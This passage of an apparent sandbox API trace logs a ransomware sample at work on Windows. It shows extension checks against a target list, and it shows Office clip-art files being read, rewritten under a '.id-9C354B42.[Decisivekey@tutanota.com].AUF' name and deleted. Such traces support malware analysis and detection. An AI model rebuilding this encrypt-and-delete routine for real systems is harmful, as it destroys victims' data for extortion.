Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0221.926] lstrlenW (lpString=".doc") returned 4 [0221.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.926] lstrlenW (lpString=".docx") returned 5 [0221.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.926] lstrlenW (lpString=".pdf") returned 4 [0221.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.926] lstrlenW (lpString=".xls") returned 4 [0221.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.926] lstrlenW (lpString=".xlsx") returned 5 [0221.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.926] lstrlenW (lpString=".ppt") returned 4 [0221.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0221.926] lstrlenW (lpString=".zip") returned 4 [0221.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.927] lstrlenW (lpString=".rar") returned 4 [0221.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.927] lstrlenW (lpString=".bz2") returned 4 [0221.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.927] lstrlenW (lpString=".7z") returned 3 [0221.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0221.927] lstrlenW (lpString=".dbf") returned 4 [0221.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0221.927] lstrlenW (lpString=".1cd") returned 4 [0221.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0221.927] lstrlenW (lpString=".jpg") returned 4 [0221.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.927] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3696) returned 1 [0221.927] CloseHandle (hObject=0x20c) returned 1 [0221.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20 [0221.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0221.928] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.928] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0221.928] GetLastError () returned 0x0 [0221.928] ReadFile (in: hFile=0x20c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xe70, lpOverlapped=0x0) returned 1 [0222.018] WriteFile (in: hFile=0x210, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe80, lpOverlapped=0x0) returned 1 [0222.019] ReadFile (in: hFile=0x20c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.019] WriteFile (in: hFile=0x210, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.019] SetEndOfFile (hFile=0x210) returned 1 [0222.020] CloseHandle (hObject=0x210) returned 1 [0222.020] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.020] SetEndOfFile (hFile=0x20c) returned 1 [0222.021] CloseHandle (hObject=0x20c) returned 1 [0222.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0222.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0222.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0222.021] lstrlenW (lpString=".doc") returned 4 [0222.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.030] lstrlenW (lpString=".docx") returned 5 [0222.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.031] lstrlenW (lpString=".pdf") returned 4 [0222.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.031] lstrlenW (lpString=".xls") returned 4 [0222.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.031] lstrlenW (lpString=".xlsx") returned 5 [0222.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.031] lstrlenW (lpString=".ppt") returned 4 [0222.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0222.031] lstrlenW (lpString=".zip") returned 4 [0222.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.031] lstrlenW (lpString=".rar") returned 4 [0222.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.031] lstrlenW (lpString=".bz2") returned 4 [0222.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.031] lstrlenW (lpString=".7z") returned 3 [0222.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0222.031] lstrlenW (lpString=".dbf") returned 4 [0222.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0222.031] lstrlenW (lpString=".1cd") returned 4 [0222.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0222.031] lstrlenW (lpString=".jpg") returned 4 [0222.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.036] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2070) returned 1 [0222.036] CloseHandle (hObject=0x21c) returned 1 [0222.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 0x20 [0222.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0222.037] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.037] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.037] GetLastError () returned 0x0 [0222.037] ReadFile (in: hFile=0x21c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x816, lpOverlapped=0x0) returned 1 [0222.048] WriteFile (in: hFile=0x220, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x820, lpOverlapped=0x0) returned 1 [0222.049] ReadFile (in: hFile=0x21c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.049] WriteFile (in: hFile=0x220, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0222.049] SetEndOfFile (hFile=0x220) returned 1 [0222.049] CloseHandle (hObject=0x220) returned 1 [0222.049] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.049] SetEndOfFile (hFile=0x21c) returned 1 [0222.050] CloseHandle (hObject=0x21c) returned 1 [0222.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 1 [0222.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0222.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0222.050] lstrlenW (lpString=".doc") returned 4 [0222.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.050] lstrlenW (lpString=".docx") returned 5 [0222.050] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0222.050] lstrlenW (lpString=".pdf") returned 4 [0222.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.050] lstrlenW (lpString=".xls") returned 4 [0222.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.050] lstrlenW (lpString=".xlsx") returned 5 [0222.050] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0222.050] lstrlenW (lpString=".ppt") returned 4 [0222.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0222.050] lstrlenW (lpString=".zip") returned 4 [0222.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.050] lstrlenW (lpString=".rar") returned 4 [0222.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.050] lstrlenW (lpString=".bz2") returned 4 [0222.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.050] lstrlenW (lpString=".7z") returned 3 [0222.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0222.050] lstrlenW (lpString=".dbf") returned 4 [0222.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0222.050] lstrlenW (lpString=".1cd") returned 4 [0222.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0222.051] lstrlenW (lpString=".jpg") returned 4 [0222.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.051] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1026) returned 1 [0222.051] CloseHandle (hObject=0x21c) returned 1 [0222.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20 [0222.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0222.051] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.051] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.052] GetLastError () returned 0x0 [0222.052] ReadFile (in: hFile=0x21c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x402, lpOverlapped=0x0) returned 1 [0222.054] WriteFile (in: hFile=0x220, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x410, lpOverlapped=0x0) returned 1 [0222.055] ReadFile (in: hFile=0x21c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.055] WriteFile (in: hFile=0x220, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.055] SetEndOfFile (hFile=0x220) returned 1 [0222.055] CloseHandle (hObject=0x220) returned 1 [0222.055] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.055] SetEndOfFile (hFile=0x21c) returned 1 [0222.056] CloseHandle (hObject=0x21c) returned 1 [0222.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0222.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0222.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0222.056] lstrlenW (lpString=".doc") returned 4 [0222.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.056] lstrlenW (lpString=".docx") returned 5 [0222.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.056] lstrlenW (lpString=".pdf") returned 4 [0222.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.056] lstrlenW (lpString=".xls") returned 4 [0222.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.056] lstrlenW (lpString=".xlsx") returned 5 [0222.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.056] lstrlenW (lpString=".ppt") returned 4 [0222.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0222.056] lstrlenW (lpString=".zip") returned 4 [0222.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.056] lstrlenW (lpString=".rar") returned 4 [0222.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.056] lstrlenW (lpString=".bz2") returned 4 [0222.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.056] lstrlenW (lpString=".7z") returned 3 [0222.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0222.056] lstrlenW (lpString=".dbf") returned 4 [0222.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0222.057] lstrlenW (lpString=".1cd") returned 4 [0222.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0222.057] lstrlenW (lpString=".jpg") returned 4 [0222.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.057] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3286) returned 1 [0222.057] CloseHandle (hObject=0x21c) returned 1 [0222.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x20 [0222.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0222.057] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.057] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.058] GetLastError () returned 0x0 [0222.058] ReadFile (in: hFile=0x21c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xcd6, lpOverlapped=0x0) returned 1 [0222.069] WriteFile (in: hFile=0x220, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xce0, lpOverlapped=0x0) returned 1 [0222.071] ReadFile (in: hFile=0x21c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.071] WriteFile (in: hFile=0x220, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.071] SetEndOfFile (hFile=0x220) returned 1 [0222.071] CloseHandle (hObject=0x220) returned 1 [0222.071] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.071] SetEndOfFile (hFile=0x21c) returned 1 [0222.072] CloseHandle (hObject=0x21c) returned 1 [0222.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0222.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0222.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0222.082] lstrlenW (lpString=".doc") returned 4 [0222.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.082] lstrlenW (lpString=".docx") returned 5 [0222.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.082] lstrlenW (lpString=".pdf") returned 4 [0222.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.082] lstrlenW (lpString=".xls") returned 4 [0222.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.082] lstrlenW (lpString=".xlsx") returned 5 [0222.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.082] lstrlenW (lpString=".ppt") returned 4 [0222.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0222.082] lstrlenW (lpString=".zip") returned 4 [0222.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.082] lstrlenW (lpString=".rar") returned 4 [0222.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.082] lstrlenW (lpString=".bz2") returned 4 [0222.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.082] lstrlenW (lpString=".7z") returned 3 [0222.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0222.082] lstrlenW (lpString=".dbf") returned 4 [0222.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0222.082] lstrlenW (lpString=".1cd") returned 4 [0222.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0222.082] lstrlenW (lpString=".jpg") returned 4 [0222.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.083] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.083] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.083] GetLastError () returned 0x0 [0222.083] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, 